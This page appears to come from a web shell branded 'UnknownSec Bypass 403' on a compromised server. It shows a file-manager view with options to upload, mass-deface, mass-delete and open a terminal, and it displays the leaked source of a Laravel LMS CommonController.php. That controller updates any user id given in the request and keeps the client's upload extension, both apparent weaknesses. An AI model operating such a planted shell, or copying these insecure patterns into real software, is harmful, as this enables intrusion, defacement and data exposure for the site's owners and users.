UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_75220104be0c
/
app
/
Http
/
Controllers
/
Common
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
CommonController.php
<?php namespace EstudioLMS\Http\Controllers\Common; use EstudioLMS\Base\ResponseBuilder; use EstudioLMS\Helpers\Helpers; use EstudioLMS\Http\Controllers\Controller; use EstudioLMS\Http\Requests\UserRequest; use EstudioLMS\Repositories\Auth\UserRepository; use EstudioLMS\Repositories\Profile\ProfileAddressRepository; use File; use Illuminate\Auth\Guard; use Illuminate\Translation\Translator; use mjanssen\BreadcrumbsBundle\Breadcrumbs; use Prettus\Repository\Contracts\RepositoryInterface; use Storage; /** * Class CommonController * @package EstudioLMS\Http\Controllers\Common */ class CommonController extends Controller { /** * @var Guard */ private $auth; /** * @var Translator */ private $translator; /** * @var Breadcrumbs */ private $breadCrumb; /** * @var ResponseBuilder */ private $responseBuilder; /** * @var UserRepository */ private $userRepo; /** * @var Helpers */ private $helper; /** * @var ProfileAddressRepository */ private $profileAddressRepository; /** * @param Translator $translator * @param Breadcrumbs $breadCrumb * @param Helpers $helper * @param ResponseBuilder $responseBuilder * @param UserRepository $userRepo * @param Guard $auth * @param ProfileAddressRepository $profileAddressRepository * @internal param Storage $ */ public function __construct( Translator $translator, Breadcrumbs $breadCrumb, Helpers $helper, responseBuilder $responseBuilder, UserRepository $userRepo, Guard $auth, ProfileAddressRepository $profileAddressRepository ) { $this->middleware('auth'); $this->translator = $translator; $this->breadCrumb = $breadCrumb; $this->userRepo = $userRepo; $this->responseBuilder = $responseBuilder; $this->auth = $auth; $this->helper = $helper; $this->profileAddressRepository = $profileAddressRepository; } /** * @param UserRequest $request * @return \Illuminate\Http\RedirectResponse */ public function postProfile(UserRequest $request) { $data = $request->all(); $profile = $this->userRepo->find($data['id']); if (!empty($data['password'])) { $data['password'] = bcrypt($data['password']); } else { unset($data['password']); } if ($request->hasFile('picture')) { $data['picture'] = uniqid(str_random(20)) . '.' . $request->file('picture')->getClientOriginalExtension(); } else { unset($data['picture']); } $profile->fill($data); $logData = $this->helper->logDataChanged($profile); if (!empty($logData)) { $profile->save(); $success = 'Sucesso!'; $message = 'Dados atualizados com sucesso!'; } else { $success = 'Atenção'; $message = 'Nenhum dado foi alterado!'; } $data['address']['user_id'] = $profile['id']; $data['address']['type'] = 1; $this->profileAddressRepository->updateOrCreate(['user_id' => $profile['id']], $data['address']); if ($request->hasFile('picture')) { if ($request->file('picture')->isValid()) { Storage::disk('profile')->put($data['picture'], File::get($request->file('picture'))); } } //return redirect()->back()->with(compact('updated', 'success', 'fail', 'message')); return redirect()->action('Environment\EnvironmentController@getProfile')->with(compact('updated', 'success', 'fail', 'message')); } }
Copyright © 2026 - UnknownSec